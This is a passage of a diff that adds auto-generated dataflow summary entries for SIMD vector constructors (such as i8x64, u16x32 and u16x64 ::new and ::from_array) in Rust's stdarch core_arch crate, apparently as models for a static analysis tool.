"value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[19]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[20]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[21]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[22]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[23]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[24]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[25]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[26]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[27]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[28]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[29]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[30]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[31]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[32]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[33]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[34]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[35]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[36]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[37]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[38]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[39]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[40]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[41]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[42]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[43]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[44]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[45]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[46]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[47]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[48]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[49]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[50]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[51]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[52]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[53]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[54]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[55]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[56]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[57]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[58]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[59]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[60]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[61]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[62]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[63]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::i8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::u16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x2(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::u16x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[16]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[17]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[18]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[19]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[20]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[21]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[22]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[23]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[24]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[25]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[26]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[27]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[28]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[29]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[30]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[31]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::u16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x4(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::u16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::u16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::u16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[16]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[17]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[18]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[19]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[20]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[21]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[22]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[23]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[24]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[25]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[26]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[27]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[28]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[29]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[30]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[31]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[32]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[33]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[34]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[35]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[36]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[37]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[38]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[39]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[40]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[41]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[42]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[43]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[44]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[45]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[46]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[47]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[48]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[49]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[50]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[51]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[52]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[53]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[54]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[55]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[56]", "ReturnValue.Field[crate::core_arch::simd::u16x64(0)].Element", "value", "dfc-generated"] + - 